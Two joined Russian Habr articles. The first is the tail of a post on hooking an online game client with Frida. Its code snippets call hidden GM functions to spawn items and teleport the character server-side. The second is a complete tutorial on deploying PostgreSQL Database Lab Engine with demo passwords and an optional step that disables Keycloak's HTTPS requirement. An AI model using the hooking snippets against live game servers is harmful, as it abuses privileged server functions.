что-там-еще-может-прийти-в-голову-в-3-часа-ночи. \_call вызывается как-то так: ``` var cmd="give 0x31194"; _call('_gmcommand', { contentsize: cmd.length, content: cmd }); ``` в данном случае эквивалентно вызову в чате /gm? give 0x31994(гм-команда для выдачи вещи по ее ID). \_setpos — еще один биндинг к реальной полу-гм функции клиента, позволяющей изменять координаты персонажа в клиенте и на сервере, принимая в качестве аргумента строку с 3 координатами. Зарядив что-нибудь в духе ``` var memalloc = Memory.alloc(128); var q=-4050.7; setInterval(function(){ Memory.writeUtf8String(memalloc, q+++", 244.5, -8251.9"); _setpos(memalloc); }, 100); ``` получаем персонажа в состоянии delirium tremens(его неслабо колбасит, кстати). В общем и целом, на данный момент я использовал frida больше для развлечения и разминки мозгов, однако, при должном подходе, она может превратиться в весьма достойный инструмент для исследования различного рода процессов. Спасибо за внимание, надеюсь, вам понравилось. И напоследок, материалы: [Сайт Frida](http://www.frida.re/) [Frida JS API](http://www.frida.re/docs/javascript-api/#nativepointer) [Frida-node](https://github.com/frida/frida-node) [Class в ECMAScript 6](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Classes) [Конь](http://vignette1.wikia.nocookie.net/absurdopedia/images/6/68/%D0%9A%D0%BE%D0%BD%D1%8C_%D1%81_%D0%BF%D1%80%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B9.jpg/revision/latest?cb=20100313231744)
https://habr.com/ru/post/268997/
null
ru
null
# PostgreSQL. Тестируй то, тестируй это, тестируй не боясь ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/e2b/4e4/1ab/e2b4e41ab5d9b69ffae46b8468560310.png)### Вступление Я всех категорически приветствую. Долгое время я с нетерпением ждал появления на хабре статей об одном замечательном проекте - Database Lab Engine. Но время шло, статей всё не было, а терпение заканчивалось. Трудно держать в себе знание, которое может быть полезно многим. И моё терпение подошло к концу. Так что схватитесь покрепче за ручки кресел, чтобы вас не унесло потоком сакрального знания в метавселенную, и приступим. ### Вводная часть [Database Lab Engine](https://github.com/postgres-ai/database-lab-engine) (далее DLE) - проект, призванный облегчить процесс тестирования изменений, связанных с БД (миграции, тесты, изменяющие данные и т.д.). Очень непросто провести полноценное тестирование без изменяющих действий. Кто-то обходится схемой БД с каким-то минимальным набором тестовых данных. Но таким образом не всегда полноценно можно проверить те или иные аспекты функционирования ПО. Какие-то ошибки можно выловить только на продуктивном наборе данных или максимально приближенном к нему. И в этом случае DLE может сильно облегчить процесс подготовки БД для предпродуктивного тестирования. Работает это следующим образом: > Примечание: Далее речь будет идти о "физическом" режиме работы DLE + резервная копия с помощью инструмента WAL-G. DLE также позволяет работать с логическими резервными копиями, используя несколько пулов ZFS для ротации снимков. Подробнее можно почитать в глубинах [документации](https://postgres.ai/docs). > > 1. Подготавливается резервная копия БД с помощью [WAL-G](https://github.com/wal-g/wal-g) или [PGBACKREST](https://pgbackrest.org/) * резервная копия размещается на S3-совместимом хранилище 2. Подготавливается сервер, на котором можно запускать docker-контейнеры. На сервере должна быть установлена ZFS и создан хотя бы один пул ZFS. 3. В конфигурационном файле DLE прописываются параметры доступа к S3, где находится резервная копия и точка монтирования ZFS пула. > Желательно обращаться в S3 под разными учётными записями. Размещать резервную копию под учётной записью имеющей доступ на запись, а читать резервную копию с другой учётной записью, имеющей доступ только на чтение > > 4. Запускается контейнер DLE, который разворачивает на ZFS пуле резервную копию и начинает поддерживать её в актуальном состоянии, накатывая WAL-журналы из S3. Таким образом фактически получается hot-standby сервер PostgreSQL. Назовём этот "набор данных" (а фактически это инстанс PostgreSQL) "эталонным" или просто "эталон". 5. Раз в сутки (расписание настраивается в файле конфигурации DLE) с эталона делается снимок (snaphot в терминах ZFS). После создания снимка выполняется его подготовка к последующему использованию. В этот момент можно применить к данным в снимке свои изменения. В определённом каталоге размещаются `.sql` файлы, которые применяются к снимку. Порядок применения регулируется именем файла - как получили список файлов в каталоге, так и применили. 6. Далее на основе созданных снимков становится возможным создавать "клоны" - изолированные инстансы PostgreSQL. Вся прелесть в том, что "долгая" работа выполняется при создании снимка, а клон (тоже snapshot ZFS) уже создаётся за секунды. Клон использует блоки данных снимка и сразу после создания практически не занимает места на диске. Но любые изменения в клоне уже создают новые блоки данных и занимают место. > Совокупность того, что ZFS использует механизм CoW (Copy-On-Write), а также хорошо ужимает данные и позволяет называть клоны "тонкими" > > Закрепим терминологию: *Снимок* - предварительно подготовленная копия производственного инстанса PostgreSQL, к которой были применены, например, маскирование чувствительных данных или переименование/изменение/удаление какой-либо сущности и т.п.. Поэтому в клонах будут присутствовать все БД инстанса PostgreSQL, если, конечно, они не были удалены на этапе подготовки снимка *Клон* - новый инстанс PostgreSQL, который создан на основе какого-либо снимка. Клон использует блоки данных снимка, поэтому при создании не занимает места. Но любые изменения в клоне, приводящие к изменению данных, увеличивают "размер" клона. Каждый клон имеет свой собственный уникальный порт. Допускается наличие множества снимков, фактически являющихся срезами данных за разные периоды времени и множества клонов (читай: запущенных инстансов PostgreSQL), созданных на основе любых наличных снимков. Это позволяет, например, делать сравнение данных за разные периоды. Любая модификация данных в одном из клонов не затрагивает другие клоны. Расплатой за все эти приятности является довольно существенные ресурсы, которые нужно выделять на сервер DLE. Также стоит отметить, что ZFS довольно сильно ужимает данные (в 3-5 раз), что позволяет сильно экономить на дисках. Но диски лучше использовать SSD, т.к. несколько одновременно запущенных клонов, в которых есть существенная активность, быстро отправят обычный HDD в кому. ### Описание демонстрационного стенда Для демонстрации одной из возможных схем работы мы создадим стенд, состоящий из следующих компонентов: 1. MinIO - S3-совместимое хранилище для хранения резервных копий и журналов [WAL](https://postgrespro.ru/docs/postgrespro/9.5/wal-intro) 2. PostgreSQL - СУБД 3. Keycloak - Identity Provider (IdP). Аутентификация и авторизация пользователей. 4. DLE - движок для создания тонких клонов 5. DLE GUI - графическая оболочка с аутентификацией и авторизацией через OIDC и возможностью разделения прав для разных пользователей DLE предоставляет CLI и API, позволяющее им управлять. С версии 2.5 также поставляется GUI в виде отдельного контейнера. GUI является кусочком SaaS и предоставляет минимальные функции по управлению клонами. Но всё это заточено либо на автоматизированное управление через системы CI, либо на одиночного пользователя, т.к. доступ осуществляется по единому токену, имеющему полный доступ. Никакого разделения прав нет. В компаниях, где пользователей много и они ведутся централизованно (например, AD, LDAP и т.п.) будет намного удобнее использовать существующие учётные записи для доступа к DLE. Поэтому в стенде мы будем использовать IdP Keycloak, позволяющий интегрироваться с различными учётными системами и проводить аутентификацию пользователя по OIDC, а также стороннюю графическую оболочку DLE GUI, позволяющую производить аутентификацию и авторизацию по OIDC, а также имеющую встроенные возможности для разграничения доступа к создаваемым клонам. Подробнее про DLE GUI можно почитать [тут](https://gitlab.com/ssi444/dle-gui). Для хранения резервных копий БД и WAL мы будем использовать MinIO. В MinIO будет настроена корзина (bucket) для хранения, а также 2 учётных записи (УЗ): 1. postgres-backup-rw - УЗ с правами "чтение и запись", для размещения резервных копий и журналов 2. postgres-backup-ro - УЗ с правами "только чтение", для DLE > Для стенда используется заранее подготовленная конфигурация MinIO, в которой содержатся необходимые пользователи и роли. > > В Keycloak будет 5 учётных записей, представляющих типичные роли для работы в DLE: 1. dg-admin - роль "Администратор" 2. dg-operator - роль "Оператор" 3. dg-user1 - роль "Пользователь" 4. dg-user2 - роль "Пользователь" 5. dg-viewer - роль "Наблюдатель" Пароль УЗ в Keycloak такой же, как и имя пользователя. Описания ролей: 1. Администратор (admin) * Просмотр списка всех клонов * Создание нового клона * Сброс любого клона * Удаление любого клона * Установка/снятие защиты для любого клона 2. Оператор (operator) * Просмотр списка всех клонов * Создание нового клона * Сброс любого клона * Удаление клона, созданного этим пользователем * Установка/снятие защиты для клонов, созданных этим пользователем 3. Пользователь (user) * Просмотр списка клонов, созданных этим пользователем * Создание нового клона * Сброс клона, созданного этим пользователем * Удаление клона, созданного этим пользователем * Установка/снятие защиты для клонов, созданных этим пользователем 4. Наблюдатель (viewer) * Просмотр списка всех клонов На практике пользователям можно выдавать помимо роли "Пользователь", роль "Наблюдатель", чтобы был виден список клонов, созданных другими пользователями и можно было подобрать уникальное имя для нового клона (при создании клона с уже существующем именем/идентификатором произойдёт ошибка и клон не будет создан). > Для стенда используется заранее подготовленная конфигурация Keycloak, в которой содержатся все необходимые пользователи и группы. > > ### Запуск стенда Для стенда используется демонстрационная БД от PostgresPRO - <https://postgrespro.ru/education/demodb> Я буду запускать стенд на Macbook Pro M1, имеющем архитектуру `arm64`, в связи с чем будут определённые особенности. В частности, из-за невозможности в Docker Desktop подключать каталоги в режиме `rshared`, я буду использовать виртуальную машину, а также буду пересобирать некоторые контейнеры, т.к. они не имеют сборок для архитектур, отличных от `amd64`. Если вы будете запускать стенд на сервере с архитектурой `amd64`, то некоторые из действий можно будет пропустить или изменить, о чём будет отдельная ремарка. #### Настройки Для начала установим ZFS 2.x, чтобы в дальнейшем не переделывать. На Ubuntu 20.04 в составе дистрибутива устаревшая версия 0.8.4 и будут проблемы. Документация по установке OpenZFS находится [тут](https://openzfs.github.io/openzfs-docs/Developer%20Resources/Building%20ZFS.html). У меня установлено ядро 5.8.0-63 с заголовками. Для своих систем внесите соответствующие изменения. Также на момент выполнения кода из статье версия OpenZFS в репозитории может отличаться ``` sudo apt install build-essential autoconf automake libtool gawk alien fakeroot dkms libblkid-dev uuid-dev libudev-dev libssl-dev zlib1g-dev libaio-dev libattr1-dev libelf-dev linux-headers-generic python3 python3-dev python3-setuptools python3-cffi libffi-dev python3-packaging git libcurl4-openssl-dev git clone https://github.com/openzfs/zfs cd ./zfs git checkout master sh autogen.sh ./configure ./configure --with-linux=/usr/src/linux-headers-5.8.0-63-generic --with-linux-obj=/usr/src/linux-headers-5.8.0-63-generic make -s -j$(nproc) deb sudo dpkg -i kmod-zfs-5.8.0-63-generic_2.1.99-1566_amd64.deb libzfs5_2.1.99-1566_amd64.deb libzpool5_2.1.99-1566_amd64.deb zfs_2.1.99-1566_amd64.deb echo "search extra updates ubuntu built-in" | sudo tee /etc/depmod.d/ubuntu.conf sudo ldconfig; sudo depmod; sudo modprobe zfs zfs version ``` Далее скачаем все необходимые конфигурационные файлы для стенда ``` git clone https://gitlab.com/ssi444/dblab-article.git cd dblab-article ``` Далее нужно скопировать шаблон с настройками и внести изменения, в соответствии с вашим окружением ``` cp .env-template .env ``` Содержимое файла ``` # Логин пользователя и пароль для тех подсистем где его потребуется создать (MinIO, Keycloak) # В PostgreSQL пользователь будет postgres, а пароль ${ADMIN_PASSWORD} ADMIN_USER=admin ADMIN_PASSWORD=password # Адрес и токен сервера DLE DBLAB_URL=http://192.168.144.138:2345 DBLAB_TOKEN=super-secret # Локальный адрес компьютера. Используется для переадресации из keycloak во время аутентификации в DLE GUI LOCAL_IP=192.168.144.114 ``` В моём случае DLE будет работать в виртуальной машине (ВМ) с Debian Linux, имеющей адрес **192.168.144.138**, поэтому я указываю его в `DBLAB_URL`. Локальный адрес хоста - **192.168.144.114**. На этом адресе будут на разных портах доступны сервисы MinIO, Keycloak, DLE GUI. Этот адрес доступен также и с ВМ. Локальный адрес нужно прописать в переменной `LOCAL_IP`. Если вы разворачиваете стенд на одном или нескольких серверах, доступных по DNS-именам, то можно указать их. Импортируем настройки ``` source .env ``` #### Демо-база Скачаем и распакуем демонстрационную БД ``` wget https://edu.postgrespro.ru/demo-small.zip -O ./demo-small.zip && unzip demo-small.zip ``` #### Загрузка конфигов Скачаем DLE и GUI для DLE ``` git clone https://gitlab.com/postgres-ai/database-lab -b v3.2.0 ./dblab git clone https://gitlab.com/ssi444/dle-gui ``` Создадим сеть docker, в которой будут работать контейнеры ``` docker network create dletest ``` #### Загрузка и сборка контейнеров > docker-compose должен быть версии >= 2.12 > > Соберём образы для запуска и скачаем те, что не нужно собирать. ``` docker-compose --env-file=.env -p dletest -f docker-compose.yml build postgres docker-compose --env-file=.env -p dletest -f docker-compose.yml build keycloak docker-compose --env-file=.env -p dletest -f docker-compose.yml build keycloak-config-import docker-compose --env-file=.env -p dletest -f docker-compose.yml build dlegui docker-compose --env-file=.env -p dletest -f docker-compose.yml pull docker pull minio/mc ``` Сборка образов требуется для: * Keyclok - чтобы включить поддержку БД PostgreSQL и добавить возможности отдавать метрики в формате Prometheus * PostgreSQL - чтобы добавить в контейнер WAL-G и установить кодировку контейнера в `ru_RU.UTF-8`. Будет эмулировать сервер-источник БД. * DLE GUI - тут нет готовых контейнеров, только собирать * DLE - не имеется сборок для `arm64`, поэтому в моём случае только собирать самостоятельно * Extended PostgreSQL - для добавления в контейнер, в котором будут запускаться клоны, необходимых кодировок и модулей Для работы DLE необходимо, чтобы логи писались на английском, а также кодировка в контейнере была `C` или `en_US.UTF-8`. Это нужно для корректного определения даты последнего checkpoint-а и определения активности в клоне, коя определяется, в том числе, по файлам логов, где производится поиск определённой подстроки. Пример как определяется `Time of latest checkpoint` ``` $ /usr/lib/postgresql/14/bin/pg_controldata -D /db/data pg_control version number: 1100 Catalog version number: 201809051 Database system identifier: 6706409297065165594 Database cluster state: in production pg_control last modified: Tue 27 Sep 2022 04:29:39 PM UTC Latest checkpoint location: 4600/4B000028 Latest checkpoint's REDO location: 4600/4B000028 Latest checkpoint's REDO WAL file: 00000009000046000000004B Latest checkpoint's TimeLineID: 9 Latest checkpoint's PrevTimeLineID: 9 Latest checkpoint's full_page_writes: on Latest checkpoint's NextXID: 0:2120415942 Latest checkpoint's NextOID: 202362995 Latest checkpoint's NextMultiXactId: 37450860 Latest checkpoint's NextMultiOffset: 94046646 Latest checkpoint's oldestXID: 1976274274 Latest checkpoint's oldestXID's DB: 1 Latest checkpoint's oldestActiveXID: 0 ... **Time of latest checkpoint: Tue 27 Sep 2022 04:29:39 PM UTC** ... ``` > У меня на сервере-источнике была кодировка `ru_RU.UTF-8` и БД была создана в ней. Для того чтобы `extended-postgres` запустился, мне потребовалось пересобрать контейнер, добавив в контейнер кодировку `ru_RU.UTF-8`. Заодно я сделал её кодировкой по-умолчанию, что привело к проблемам. Обратите на это внимание. > > В контейнере должна присутствовать кодировка, в которой была создана БД Основная кодировка контейнера должна быть `C` или `en_US.UTF-8` > > #### Настройка MinIO Запустим и настроим MinIO ``` docker-compose --env-file=.env -p dletest -f docker-compose.yml up -d minio docker run --rm --name minio-client -v $(pwd)/data/minio-client:/root/.mc minio/mc alias set s3 "http://${LOCAL_IP}:9000" ${ADMIN_USER} ${ADMIN_PASSWORD} docker run --rm --name minio-client -v $(pwd)/data/minio-client:/root/.mc minio/mc mb s3/postgres-backup docker run --rm --name minio-client -v $(pwd)/data/minio-client:/root/.mc minio/mc admin user add s3 postgres-backup-ro postgres-backup-ro docker run --rm --name minio-client -v $(pwd)/data/minio-client:/root/.mc minio/mc admin user add s3 postgres-backup-rw postgres-backup-rw docker run --rm --name minio-client -v $(pwd)/data/minio-client:/root/.mc -v $(pwd)/conf/minio:/conf minio/mc admin policy add s3 postgres-backup-ro /conf/role_postgres-backup_ro.json docker run --rm --name minio-client -v $(pwd)/data/minio-client:/root/.mc -v $(pwd)/conf/minio:/conf minio/mc admin policy add s3 postgres-backup-rw /conf/role_postgres-backup_rw.json docker run --rm --name minio-client -v $(pwd)/data/minio-client:/root/.mc minio/mc admin policy set s3 postgres-backup-ro user=postgres-backup-ro docker run --rm --name minio-client -v $(pwd)/data/minio-client:/root/.mc minio/mc admin policy set s3 postgres-backup-rw user=postgres-backup-rw ``` #### Запуск и настройка БД ``` docker-compose --env-file=.env -p dletest -f docker-compose.yml up -d postgres docker-compose --env-file=.env -p dletest -f docker-compose.yml logs -f postgres ``` Теперь нужно дождаться разворота демо базы. Должно появится сообщение "database system is ready to accept connections" или "система БД готова принимать подключения", в зависимости от кодировки контейнера с PostgreSQL-источником (задаётся переменными окружения `LANG` и `LC_ALL` в файле `docker-compose.yml`). В контейнер с PostgreSQL, в каталог `/docker-entrypoint-initdb.d/` монтируются файлы `01-init.sql` и `demo-small-20170815.sql`. Все файлы, находящиеся в этом каталоге выполняются по очереди после первичной инициализации БД. Это делается один раз, если БД не существует. Содержимое `01-init.sql` ``` SELECT 'CREATE DATABASE demo' WHERE NOT EXISTS (SELECT FROM pg_database WHERE datname = 'demo')\gexec SELECT 'CREATE DATABASE keycloak' WHERE NOT EXISTS (SELECT FROM pg_database WHERE datname = 'keycloak')\gexec SELECT 'CREATE DATABASE dlegui' WHERE NOT EXISTS (SELECT FROM pg_database WHERE datname = 'dlegui')\gexec SELECT 'CREATE ROLE keycloak WITH LOGIN SUPERUSER PASSWORD ''password''' WHERE NOT EXISTS (SELECT FROM pg_roles WHERE rolname='keycloak')\gexec ``` Скриптом `01-init.sql` мы создаём необходимые БД в инстансе, а потом выполняем наполнение БД `demo`. БД `keycloak` и `dlegui` будут использоваться для соответствующих сервисов. > Обратите внимание, чтобы пароль для пользователя/роли `keycloak` совпадал с тем, что был задан в файле `.env` > > #### Запуск и настройка Keycloak Чтобы не настраивать Keycloak вручную, загрузим в него заранее подготовленные настройки и удалим импорт-контейнер. Из настроек было сделано: 1. Создание реалма `dlegui` 2. Создание клиента `dlegui` и его настройка 3. Создание групп `Admins`, `Operators`, `Users`, `Viewers` 4. Создание пользователей `dg-admin`, `dg-operator`, `dg-user1`, `dg-user2`, `dg-viewer` и назначение им соответствующих групп ``` docker-compose --env-file=.env -p dletest -f docker-compose.yml up -d keycloak-config-import docker-compose --env-file=.env -p dletest -f docker-compose.yml logs -f keycloak-config-import ``` После того, как в логе появится строка "INFO [io.quarkus] (main) Keycloak stopped in 0.087s" можно удалять контейнер импорта ``` docker rm -f dletest-keycloak-config-import-1 ``` Запустим рабочий экземпляр Keycloak ``` docker-compose --env-file=.env -p dletest -f docker-compose.yml up -d keycloak ``` Если разворот происходит где-то в облаках, на адресе не из серых зон, то нужно сделать так, чтобы keycloak работал без HTTPS ``` docker-compose --env-file=.env -p dletest -f docker-compose.yml exec postgres psql -U postgres -d keycloak -c "update REALM set ssl_required='none'" ``` #### Резервная копия БД Создадим полную резервную копию инстанса PostgreSQL, чтобы было что восстанавливать в DLE ``` docker-compose --env-file=.env -p dletest -f docker-compose.yml exec postgres su -l postgres -c '/bin/wal-g --config /wal-g/.wal-g.json backup-push /var/lib/postgresql/data' ``` Проверить, что резервная копия была создана можно командой ``` docker-compose --env-file=.env -p dletest -f docker-compose.yml exec postgres su -l postgres -c '/bin/wal-g --config /wal-g/.wal-g.json backup-list' ``` Эта операция не единоразовая. Если вы собираетесь использовать WAL-G и далее, нужно добавить в планировщик 2 задачи, выполняющиеся раз в сутки ``` # Создание полной или инкрементальной резервной копии docker-compose --env-file=.env -p dletest -f docker-compose.yml exec postgres su -l postgres -c '/bin/wal-g --config /wal-g/.wal-g.json backup-push /var/lib/postgresql/data' # Удаление старых резервных копий docker-compose --env-file=.env -p dletest -f docker-compose.yml exec postgres su -l postgres -c '/bin/wal-g --config /wal-g/.wal-g.json delete --confirm retain FULL 4' ``` #### Запуск DLE GUI Старый `libpq` не умеет работать с паролями в `scram-sha-256`, только в `md5`, поэтому нужно сменить пароль для пользователя postgres, чтобы DLE GUI мог подключиться. Хоть при запуске и была указана опция "password\_encryption=md5", но пароль пользователя postgres в 14 PostgreSQL создаётся, видимо, до активации данной опции. И чтобы всё нормально работало нужно заново установить пароль. ``` docker-compose --env-file=.env -p dletest -f docker-compose.yml exec postgres psql -U postgres -c "alter role postgres password '${ADMIN_PASSWORD}';" docker-compose --env-file=.env -p dletest -f docker-compose.yml up -d dlegui ``` Итак, у нас запущены следующие сервисы: 1. S3 (MinIO). Порты `9000-9001`. Зайти проверить можно на`http://${LOCAL_IP}:9000` с логином `${ADMIN_USER}` и паролем`${ADMIN_PASSWORD}` 2. PostgreSQL, сделана резервная копия, настроена отправка журналов в S3. Работает на `http://${LOCAL_IP}:5432`. Логин `posgtres`, пароль `${ADMIN_PASSWORD}` 3. IdP Keycloak. Работает на `http://${LOCAL_IP}:8080`. Логин `${ADMIN_USER}` и пароль `${ADMIN_PASSWORD}` 4. DLE GUI. Работает на `http://${LOCAL_IP}:8008`. На текущий момент DLE GUI не работоспособен, до момента запуска DLE, но при открытии адреса уже переадресует на Keycloak. #### Сборка и запуск DLE Дальше нужно запустить DLE. В моём случае я переключаюсь на ВМ (в вашем может быть тот же или отдельный хост), клонирую туда репозиторий <https://gitlab.com/ssi444/dblab-article> и выполняю сборку контейнеров `extended-postres` и `DLE`. Основа для `extended-postres` находится [тут](https://gitlab.com/postgres-ai/custom-images/-/blob/master/extended-postgres/Dockerfile). Это контейнер с PostgreSQL, WAL-G и тем набором расширений, что используются в БД-источнике. Мажорная версия PostgreSQL должны быть точно такая же, как и на сервере источнике, т.к. под капотом у WAL-G используется `pg_basebackup`, который архивирует БД в двоичном формате. Расширение Citus для Postgres, используемое в [примере](https://gitlab.com/postgres-ai/custom-images/-/blob/master/extended-postgres/Dockerfile), имеет сборки только для архитектуры amd64. К тому же для демо это расширение не используется, поэтому оно было удалено из образа `extended-postgres`. Если оно вам необходимо, добавьте его самостоятельно. Создаём пул ZFS. В файле конфигурации DLE уже прописаны некоторые настройки, поэтому создаём всё как описано ``` mkdir -p /var/lib/dblab/pools/test1 mkdir -p /data/dblab/test1 cp -r conf/dle/test1/* /data/dblab/test1/ sudo zpool create -f -O compression=on -O atime=off -O recordsize=128k -O logbias=throughput -m /var/lib/dblab/pools/test1/dblab_pool_test1 dblab_pool_test1 /dev/sdb ``` Вместо `/dev/sdb` нужно указать выделенный диск, на котором будет создан пул ZFS. Если выделенного диска нет, то делаем так: ``` # делаем пустой файл на 10Гб sudo mkdir -p /zfs sudo dd if=/dev/zero of=/zfs/file.img bs=1G count=10 # создаём в нём пул ZFS sudo zpool create -f -O compression=on -O atime=off -O recordsize=128k -O logbias=throughput -m /var/lib/dblab/pools/test1/dblab_pool_test1 dblab_pool_test1 /zfs/file.img # проверим что пул есть sudo zpool list ``` > ВНИМАНИЕ! В контейнерах используется ZFS версии 2.0. Если на сервере, где будет запускаться DLE установлена версия 0.8, то могут быть проблемы. Нужно обновить версию ZFS сервера до 2. > > **для amd64** ``` docker build -t dblab-ext-pg:v1 -f Dockerfile.dblab-ext-pg . ``` **для arm64** ``` docker build --build-arg ARCH=arm64 -t dblab-ext-pg:v1 -f Dockerfile.dblab-ext-pg . sed -i 's/GOARCH = amd64/GOARCH = arm64/; s/ARCHITECTURES=amd64/ARCHITECTURES=arm64/' dblab/engine/Makefile # в macos sed немного по-другому работает и команда будет выглядеть так # sed -i '' 's/GOARCH = amd64/GOARCH = arm64/; s/ARCHITECTURES=amd64/ARCHITECTURES=arm64/' dblab/engine/Makefile docker-compose --env-file=.env -p dletest -f docker-compose.yml build dle ``` В файле `conf/dle/test1/engine/configs/server.yml` нужно прописать IP-адрес сервера MinIO (`${LOCAL_IP}`) в переменной `AWS_ENDPOINT` (в двух местах) Немного прокомментирую конфиг: ``` server: # Токен, с которым нужно обращаться к API DLE verificationToken: "super-secret" host: "" port: 2345 embeddedUI: # GUI, поставляемое с DLE. # сборки для arm64 нет, поэтому у меня отключено, т.к. я использую другой GUI enabled: false dockerImage: "postgresai/ce-ui:latest" host: "" port: 3345 global: # Другие движки, кроме postgres, пока не поддерживаются. Оставляем как есть engine: postgres # ВАЖНО! Лучше всегда устанавливать этот параметр в `true`, чтобы в случае ошибок легче было найти концы. debug: true database: username: postgres dbname: postgres telemetry: # Тут по желанию можно включить enabled: false url: "https://postgres.ai/api/general" poolManager: # Точка монтирования пула ZFS. Лучше передавать в контейнер тот же самый каталог по тем же путям, # как и на хост-системе. # Внутри mountDir могут быть либо пулы, либо Dataset-ы одного пула. mountDir: /var/lib/dblab/pools/test1 dataSubDir: data clonesMountSubDir: clones socketSubDir: sockets observerSubDir: observer preSnapshotSuffix: "_pre" # Если в mountDir, несколько пулов/Dataset-ов, то тут можно указать нужный. # Остальные пулы/Dataset-ы не рассматриваются, соответственно, ротация отключена selectedPool: "" databaseContainer: &db_container # Контейнер, на основе которого будет запускаться восстановление БД из архива, # синхронизация эталона с архивом, клоны. dockerImage: "dblab-ext-pg:v1" # Дополнительные параметры, которые можно задать для контейнера с БД. # Это параметры именно контейнера, а не PostgreSQL containerConfig: "shm-size": "2gb" databaseConfigs: &db_configs # Параметры, которые можно передать запускаемым экземплярам PostgreSQL. # В архив, создаваемый WAL-G, попадает полная конфигурация PostgreSQL с сервера-источника. # Тут можно переопределить некоторые из параметров PostgreSQL, если есть необходимость. # Как узнать какие параметры нужно прописывать можно почитать тут: # https://postgres.ai/docs/how-to-guides/administration/postgresql-configuration#postgresql-configuration-in-clones configs: shared_buffers: 2GB shared_preload_libraries: "pg_stat_statements, auto_explain, logerrors" work_mem: "32MB" max_connections: 500 lc_messages: "en_US.UTF-8" lc_monetary: "ru_RU.UTF-8" lc_numeric: "ru_RU.UTF-8" lc_time: "ru_RU.UTF-8" datestyle: "iso, dmy" timezone: "W-SU" provision: <<: *db_container # Диапазон портов, на которых будут доступны клоны для данного инстанса DLE. # Если планируется одновременный запуск более 100 клонов, то нужно увеличить диапазон. portPool: from: 6001 to: 6100 useSudo: false # По умолчанию при создании клона там создаётся новая учётная запись с правами суперпользователя, # а всем существующим УЗ сбрасываются пароли на случайные. Если нужна возможность подключаться к БД # под УЗ существующих пользователей, например, чтобы протестировать правильность выдачи прав на объекты БД, # то нужно значение этого параметра установить в `true` keepUserPasswords: true retrieval: jobs: # Какие задачи и в какой последовательности будут выполняться. # Сначала запускается контейнер (имеет в своём названии _phr_), вытягивающий архив из S3. # После окончания разворачивания архива он завершается. # После него запускается контейнер (имеет в своём названии _sync_), который мониторит S3 на наличия новых журналов # и применяет их к эталону. - physicalRestore # После того как развернётся БД из архива (а также по расписанию, указанному ниже), # запускается задача создания снимка - physicalSnapshot spec: # Настройки задач, указанных выше. physicalRestore: options: <<: *db_container tool: walg sync: enabled: true healthCheck: interval: 5 maxRetries: 200 configs: shared_buffers: 2GB recovery: envs: # Параметры доступа к S3 для WAL-G AWS_ENDPOINT: "http://192.168.144.114:9000" AWS_S3_FORCE_PATH_STYLE: "true" AWS_ACCESS_KEY_ID: "postgres-backup-ro" AWS_SECRET_ACCESS_KEY: "postgres-backup-ro" WALG_S3_PREFIX: "s3://postgres-backup" # Кодировка для "системы" контейнера. Чтобы DLE работал корректно, можно явно задать эти настройки контейнеру LANG: "en_US.UTF-8" LC_ALL: "en_US.UTF-8" walg: backupName: LATEST physicalSnapshot: options: skipStartSnapshot: false <<: *db_configs promotion: <<: *db_container enabled: true healthCheck: interval: 5 maxRetries: 200 queryPreprocessing: # Каталог, в котором находятся .sql-файлы, применяемые в каждому создаваемому снимку queryPath: "/home/dblab/configs/preprocessing/" maxParallelWorkers: 2 configs: shared_buffers: 2GB recovery: # Скрипт, выполняемый после создания снимка. # К примеру, можно удалить логи, доставшиеся клону от эталона preprocessingScript: "/home/dblab/configs/scripts/clear_old_log.sh" scheduler: # Расписание создания новых снимков snapshot: # 04:15 ежедневно timetable: "15 4 * * *" # Расписание удаления старых снимков retention: # 05:25 ежедневно timetable: "25 5 * * *" # Сколько снимков нужно оставить. Оставляет N-последних снимков + те снимки, # на основе которых созданы клоны limit: 3 envs: # Параметры доступа к S3 для WAL-G AWS_ENDPOINT: "http://192.168.144.114:9000" AWS_S3_FORCE_PATH_STYLE: "true" AWS_ACCESS_KEY_ID: "postgres-backup-ro" AWS_SECRET_ACCESS_KEY: "postgres-backup-ro" WALG_S3_PREFIX: "s3://postgres-backup" # Кодировка для "системы" контейнера. Чтобы DLE работал корректно, можно явно задать эти настройки контейнеру LANG: "en_US.UTF-8" LC_ALL: "en_US.UTF-8" cloning: accessHost: "192.168.144.138" # Через сколько нужно удалять клоны, если в них не было активности. # Активность, в том числе, определяется по логам PostgreSQL и датам транзакций. # Удаляются только те клоны, на которые не установлена защита от удаления. maxIdleMinutes: 120 ``` С более подробными пояснениями для параметров от разработчиков можно ознакомиться в файле конфигурации. Хочу обратить внимание вот на какой момент: чтобы план запроса показывал, с большой вероятностью, те же значения, что и на продуктиве, нужно настроить параметры для инстансов-клонов как на продуктиве. Нужно выполнить такой запрос: ``` select format(' %s: "%s"', name, setting) as configs from pg_settings where source <> 'default' and ( name ~ '(work_mem$|^enable_|_cost$|scan_size$|effective_cache_size|^jit)' or name ~ '(^geqo|default_statistics_target|constraint_exclusion|cursor_tuple_fraction)' or name ~ '(collapse_limit$|parallel|plan_cache_mode|shared_preload_libraries)' ); ``` Результат этого запроса прописать в файле конфигурации в секцию ``` databaseConfigs: &db_configs configs: ``` Подробнее можно почитать в [официальной документации](https://postgres.ai/docs/how-to-guides/administration/postgresql-configuration#postgresql-configuration-in-clones). Есть разные подходы к работе с клонами. Например, создавать клон на каждый запрос для какой-то проверки. Примерно так работает [JoeBot](https://postgres.ai/products/joe) в SaaS сервисе [postgres.ai](http://postgres.ai). В этом случае для maxIdleMinutes нужно выставлять небольшие значения, чтобы клоны быстрее зачищались (очистка запускается каждые 15 минут, если я не ошибаюсь). Мы в компании используем такой поход: при заливке кода в ветку staging происходит сборка ПО, создание нового клона с определённым шаблоном в имени, запускается собранное ПО, которому в качестве параметров передаётся только что созданный клон. Клону при создании устанавливается защита от удаления. При следующей сборке ПО, со всех клонов, с определённым шаблоном в имени, снимается защита от удаления и создаётся новый защищённый клон. Далее уже автоочистка самостоятельно подчистит ставшие ненужными клоны (в которых не было активности maxIdleMinutes минут). В дополнение к CI несколько аналитиков создают себе клоны для своих целей. Защита на них не ставится и через какое-то время, после того как аналитик перестал работать с клоном, он удаляется автоочисткой. В нашем случае оптимальным значением maxIdleMinutes является 1440 минут (сутки). Посмотреть пример скрипта можно [тут](https://gitlab.com/ssi444/dblab-article/-/blob/master/create-clone.sh) Ну а теперь пришло время запустить вишенку на нашем торте - DLE ``` docker-compose 